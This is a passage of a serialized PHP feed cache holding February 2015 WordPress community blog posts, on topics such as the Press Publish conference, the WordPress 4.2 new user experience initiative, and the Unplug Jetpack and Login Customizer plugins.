grow.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 09 Feb 2015 20:21:25 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:14;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:94:\"WPTavern: The First Conference Dedicated to WordPress.com Debuts on March 28th in Portland, OR\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38717\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:103:\"http://wptavern.com/the-first-conference-dedicated-to-wordpress-com-debuts-on-march-28th-in-portland-or\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2200:\"<a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/PressPublishFeaturedImage.png\" rel=\"prettyphoto[38717]\"><img class=\"size-full wp-image-38718\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/PressPublishFeaturedImage.png?resize=668%2C262\" alt=\"Press Publish Featured Image\" /></a>photo credit: <a href=\"http://www.flickr.com/photos/38072565@N00/462857539\">Publish Akku</a> &#8211; <a href=\"https://creativecommons.org/licenses/by-nc/2.0/\">(license)</a>\n<p>Those who use the <a title=\"https://wordpress.org/\" href=\"https://wordpress.org/\">self hosted version of WordPress</a> have access to <a title=\"http://central.wordcamp.org/\" href=\"http://central.wordcamp.org/\">WordCamps</a>, annual conferences dedicated to WordPress. Meanwhile, there has never been a conference focused on WordPress.com.</p>\n<p><a title=\"http://presspublish.events/\" href=\"http://presspublish.events/\">Press Publish</a> is a new <a title=\"http://presspublish.events/2015/02/04/portland-lineup-confirmed/\" href=\"http://presspublish.events/2015/02/04/portland-lineup-confirmed/\">series of events</a> focused on WordPress.com and Jetpack. The first is scheduled for <a title=\"http://presspublish.events/events/portland/\" href=\"http://presspublish.events/events/portland/\">March 28th, 2015 in Portland, OR</a>. There&#8217;s also a second event scheduled for <a title=\"http://presspublish.events/events/phoenix/\" href=\"http://presspublish.events/events/phoenix/\">April 18th, 2015 in Phoenix, AZ</a>.</p>\n<p>Each event lasts for one day and has two tracks. Speakers will share their personal success stories on using the WordPress.com platform. There will also be a handful of Automatticians on hand to answer any questions. Registration is open for both events and costs $250.00.</p>\n<p>Press Publish is an opportunity for attendees to learn from some of the brightest minds who make a living publishing content on WordPress.com. It&#8217;s also an opportunity for attendees to speak with Automatticians face to face to suggest features or enhancements to the service. The events and locations are part of a pilot program that, if successful, will likely spread to other places around the world.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 09 Feb 2015 20:00:59 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:15;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:77:\"WPTavern: Initiative Aims to Improve the New User Experience in WordPress 4.2\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38655\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:87:\"http://wptavern.com/initiative-aims-to-improve-the-new-user-experience-in-wordpress-4-2\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:4889:\"<a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/NewUserExperienceFeaturedImage.png\" rel=\"prettyphoto[38655]\"><img class=\"size-full wp-image-38713\" src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/NewUserExperienceFeaturedImage.png?resize=650%2C200\" alt=\"New User Experience Featured Image\" /></a>photo credit: <a href=\"http://www.flickr.com/photos/35034347371@N01/414920055\">zu.com &#8211; Image136</a> &#8211; <a href=\"https://creativecommons.org/licenses/by/2.0/\">(license)</a>\n<p>Drew Jaynes, who is <a title=\"http://wptavern.com/drew-jaynes-to-lead-wordpress-4-2\" href=\"http://wptavern.com/drew-jaynes-to-lead-wordpress-4-2\">leading the release cycle</a> for WordPress 4.2 <a title=\"https://make.wordpress.org/core/2015/02/05/4-2-community-initiative-nux-working-group/\" href=\"https://make.wordpress.org/core/2015/02/05/4-2-community-initiative-nux-working-group/\">announced on the Make.WordPress.core blog,</a> that a new community initiative has been launched called NUX or New User Experience. The group is made up of more than 15 members of the WordPress community who have experience in onboarding clients, training clients, and work with new users on a regular basis. According to the announcement, the group&#8217;s main task is as follows:</p>\n<blockquote><p>The group will be tasked with helping to identify common pain points new users might experience using WordPress. The hope is to (re)invigorate the conversation about making NUX a priority in core decision-making. We’ll work together to identify problems and recommend solutions.</p></blockquote>\n<p>With regards to 4.2, the group will brainstorm actionable goals and make recommendations to improve the new user experience throughout the WordPress backend. Jaynes says, &#8220;These changes would likely include improvements to contextual help on various screens, improvements to the content of the Welcome Panel, as well as adjustments to many other established workflows in core interfaces including the installation process.&#8221;</p>\n<p>Recommendations large and small will receive direct feedback from core developers. This provides an opportunity for new users to immediately contribute back to WordPress. The group&#8217;s first meeting will be held <a href=\"http://www.timeanddate.com/worldclock/fixedtime.html?iso=20150210T1900\"><abbr class=\"date\" title=\"2015-02-10T19:00:00+00:00\">Tuesday, February 10, 2015 14:00 UTC-5</abbr></a> in the <a href=\"https://wordpress.slack.com/messages/core-flow/\">#core-flow</a> channel on <a href=\"https://make.wordpress.org/chat\">Slack</a>.</p>\n<h2>Re-establishing Easy as a Selling Point</h2>\n<p>I&#8217;ve used WordPress since 2008 and one of its strongest selling points has always been that it&#8217;s easy to use. However, as WordPress has advanced, I think it&#8217;s become progressively more difficult to use. Within the last two years, several articles have highlighted the increasing difficulty in using and explaining WordPress.</p>\n<ul>\n<li><a title=\"http://mor10.com/wordpress-easy-thats-ok/\" href=\"http://mor10.com/wordpress-easy-thats-ok/\">WordPress is not easy – and that’s OK</a></li>\n<li><a title=\"https://medium.com/@salliegoetsch/have-we-been-misleading-people-about-wordpress-9dcd7dbf3034\" href=\"https://medium.com/@salliegoetsch/have-we-been-misleading-people-about-wordpress-9dcd7dbf3034\">Have We Been Misleading People about WordPress?</a></li>\n<li><a title=\"http://wptavern.com/why-is-explaining-wordpress-to-someone-so-hard\" href=\"http://wptavern.com/why-is-explaining-wordpress-to-someone-so-hard\">Why Is Explaining WordPress To Someone So Hard?</a></li>\n</ul>\n<p>I think a good base to start from to improve the user experience is Jen Mylo&#8217;s <a title=\"http://jenmylo.com/2014/10/05/site-setup-journal-prologue/\" href=\"http://jenmylo.com/2014/10/05/site-setup-journal-prologue/\">site setup journal experiment</a>. In the series, Mylo documents what it&#8217;s like as a new user to install WordPress on a host, setup a website, and browse through documentation. <a title=\"http://jenmylo.com/2014/10/11/site-setup-journal-act-i/\" href=\"http://jenmylo.com/2014/10/11/site-setup-journal-act-i/\">Part 1</a> covers domains and hosting while <a title=\"http://jenmylo.com/2014/10/11/site-setup-journal-act-ii/\" href=\"http://jenmylo.com/2014/10/11/site-setup-journal-act-ii/\">part 2</a> is about setting up WordPress. Her journey is an eye-opening experience and shows how many areas of WordPress are ripe for improvement.</p>\n<p>If WordPress is going to achieve <a title=\"http://wptavern.com/how-important-is-jetpack-on-wordpress-road-to-50-market-share\" href=\"http://wptavern.com/how-important-is-jetpack-on-wordpress-road-to-50-market-share\">50% market share</a>, it needs to be easy to install and use. The New User Experience initiative is a good step towards ensuring the future of WordPress adoption.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 09 Feb 2015 19:42:45 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:16;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:16:\"Matt: Fusion.net\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44663\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:32:\"http://ma.tt/2015/02/fusion-net/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:347:\"<p>There&#8217;s <a href=\"http://fusion.net/\">a relatively new site called Fusion.net that is definitely worth checking out</a>, it&#8217;s already full of great articles and they&#8217;re <a href=\"http://techmeme.com/lb\">starting to climb up the Techmeme Leaderboard</a>. They run on <a href=\"http://vip.wordpress.com/\">WordPress.com VIP</a>.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 09 Feb 2015 18:30:26 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:17;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:81:\"WPTavern: Unplug Jetpack: Use Jetpack Modules Without Connecting to WordPress.com\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38723\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:90:\"http://wptavern.com/unplug-jetpack-use-jetpack-modules-without-connecting-to-wordpress-com\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2837:\"<a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/unplug.jpg\" rel=\"prettyphoto[38723]\"><img src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/unplug.jpg?resize=1024%2C510\" alt=\"photo credit: Unplugged - (license)\" class=\"size-full wp-image-38734\" /></a>photo credit: <a href=\"http://www.flickr.com/photos/23307937@N04/3415991748\">Unplugged</a> &#8211; <a href=\"https://creativecommons.org/licenses/by/2.0/\">(license)</a>\n<p>Connecting a WordPress.com account in order to use Jetpack can be a hassle, especially when developing for clients or working on your local machine. If you like Jetpack but don&#8217;t want to connect to WordPress.com, there&#8217;s a new plugin that makes it easy to use the features that don&#8217;t require a connection.</p>\n<p><a href=\"https://wordpress.org/plugins/unplug-jetpack/\" target=\"_blank\">Unplug Jetpack</a> was created by WordPress developer <a href=\"http://tannermoushey.com/\" target=\"_blank\">Tanner Moushey</a>. With the plugin activated, you won&#8217;t be required to connect to WordPress.com unless you need to use Site stats, Publicize, Related Posts, etc. If you don&#8217;t see the module you&#8217;re looking for among the others, that means that it likely requires a WordPress.com connection in order to use it.</p>\n<p>The Unplug Jetpack plugin essentially puts Jetpack into development mode. Development mode was introduced in Jetpack <a href=\"http://jetpack.me/2013/03/28/jetpack-dev-mode-release/\" target=\"_blank\">2.2.1</a> to help developers with local testing. It allows you to use features that do not require a connection to WordPress.com servers. Ordinarily, turning on development mode requires adding a line to your wp-config.php file or employing the filter via a plugin.</p>\n<p>Unplug Jetpack is convenient, because it allows you to turn development mode on/off using a plugin. It uses the Jetpack-supported method for doing this and consists of just a couple lines of code:</p>\n<pre class=\"brush: php; light: true; title: ; notranslate\">\nfunction uj_init() {\n	add_filter( \'jetpack_development_mode\', \'__return_true\' );\n}\nadd_action( \'plugins_loaded\', \'uj_init\' );\n</pre>\n<p>When asked whether or not the plugin offers a performance boost as opposed to using non-WordPress.com dependent modules with the connection to WordPress.com, Moushey <a href=\"https://twitter.com/tannermoushey/status/564189285071351808\" target=\"_blank\">said</a> that it&#8217;s unlikely to have a significant performance impact. &#8220;But that is not really the point of this,&#8221; he said. It&#8217;s the principle of the matter &#8211; being able to use Jetpack&#8217;s code without the requirement of connecting to a third party. <a href=\"https://wordpress.org/plugins/unplug-jetpack/\" target=\"_blank\">Unplug Jetpack</a> lets you do that with the flip of a switch.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 09 Feb 2015 18:22:53 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:18;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:23:\"Matt: What is a Hacker?\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44661\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:38:\"http://ma.tt/2015/02/what-is-a-hacker/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:150:\"<p>Steven Levy asks <a href=\"https://medium.com/backchannel/what-is-a-hacker-51257cad8b54\">What is a Hacker? and gets some great answers back</a>.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 09 Feb 2015 01:08:47 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:19;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:39:\"Matt: Productivity of Working from Home\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44659\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:55:\"http://ma.tt/2015/02/productivity-of-working-from-home/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:270:\"<p>FiveThirtyEight says <a href=\"http://fivethirtyeight.com/datalab/people-working-from-home-in-a-snowstorm-may-be-producing-more-than-you-are/\">People Working From Home In A Snowstorm May Be Producing More Than You Are</a>, on the productivity of working from home.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Sun, 08 Feb 2015 03:41:50 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:20;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"Matt: Tom Ford’s 15 Things\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:21:\"http://ma.tt/?p=44642\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:41:\"http://ma.tt/2015/02/tom-fords-15-things/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:1195:\"<p>For the <a href=\"http://www.vogue.co.uk/spy/15th-anniversary\">15th anniversary of Vogue.com</a> noted fashion designer Tom Ford made a list of 15 things that every man should have, which are as follow:</p>\n<ol>\n<li>A sense of humour.</li>\n<li>A daily read of a newspaper.</li>\n<li>A sport that you love and are good at.</li>\n<li>Tweezers.</li>\n<li>A good cologne that becomes a signature.</li>\n<li>A well cut dark suit.</li>\n<li>A pair of classic black lace up shoes.</li>\n<li>A smart blazer.</li>\n<li>The perfect pair of dark denim jeans.</li>\n<li>Lots of crisp white cotton shirts.</li>\n<li>Always new socks and underwear, throw away the old ones every 6 months.</li>\n<li>A classic tuxedo.</li>\n<li>A beautiful day watch with a metal band.</li>\n<li>The perfect sunglasses.</li>\n<li>Perfect teeth. If you don&#8217;t have them, save up and get them fixed.</li>\n</ol>\n<p>A pretty good list, though I would <a href=\"http://cir.ca/\">replace the newspaper with Circa</a>, and I must confess I&#8217;m not sure sure what #4 the tweezers are for.</p>\n<p><a href=\"http://om.co/2011/07/05/tom-ford-5-tips-to-be-a-modern-gentleman/\">Om also has Tom Ford&#8217;s 5 tips for a modern gentleman</a>.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 06 Feb 2015 23:49:30 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:4:\"Matt\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:21;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:66:\"WPTavern: Customize Your Login Page Using the WordPress Customizer\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38581\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:76:\"http://wptavern.com/customize-your-login-page-using-the-wordpress-customizer\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2713:\"<p>As a result of the improvements to the Customizer API in WordPress 4.0 and 4.1, developers now have access to a wider array of controls and parameters that allow them to extend the feature for more varied uses beyond themes. The new <a href=\"https://wordpress.org/plugins/login-customizer/\" target=\"_blank\">Custom Login Customizer</a> plugin is a prime example of making the customizer available outside of a theme-related context.</p>\n<p>The plugin adds its own panel to the customizer with a myriad of options for customizing the design of your site&#8217;s login page.</p>\n<p><a href=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/login-customizer.jpg\" rel=\"prettyphoto[38581]\"><img src=\"http://i1.wp.com/wptavern.com/wp-content/uploads/2015/02/login-customizer.jpg?resize=987%2C572\" alt=\"login-customizer\" class=\"aligncenter size-full wp-image-38688\" /></a></p>\n<p>Custom Login Customizer allows you to customize nearly every aspect of the login form, including the following:</p>\n<ul>\n<li>Set a login logo, along with width, height, and padding</li>\n<li>Add a background, select background color and size</li>\n<li>Set a background for the form</li>\n<li>Adjust form styling &#8211; width, height, padding, border</li>\n<li>Style input field width, margin, background, and input/label colors</li>\n<li>Color picker for button background, border, hover background/border, button box shadow</li>\n<li>Select text colors</li>\n<li>Add custom CSS</li>\n</ul>\n<p>I tested the plugin and found it works smoothly as advertised. Once installed, navigate to Appearance > Login Customizer in order to launch your login page in the customizer while still being logged in.</p>\n<p>Custom Login Customizer was created by WordPress developer <a href=\"http://www.hardeepasrani.com/\" target=\"_blank\">Hardeep Asrani</a> and then sold to <a href=\"https://themeisle.com/\" target=\"_blank\">ThemeIsle.com</a> last week. &#8220;I believe Themeisle will most probably have a premium version with some more features in the future,&#8221; Asrani said. &#8220;However, the free plugin will still be there at the WordPerss.org repository and will have more features soon. At this moment, there&#8217;s no premium version or a plan for it.&#8221;</p>\n<p>There are many plugins out there which allow you to customize your login page. However, the advantage of using this particular one is that you can preview your changes live before saving them. This is one of the best uses of the customizer in a plugin that I have seen so far. It makes designing your login page an easy and enjoyable experience. Download the <a href=\"https://wordpress.org/plugins/login-customizer/\" target=\"_blank\">Login Customizer</a> from WordPress.org.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 06 Feb 2015 22:44:21 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:22;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:74:\"WPTavern: Custom Metaboxes and Fields for WordPress (CMB2) Now Out of 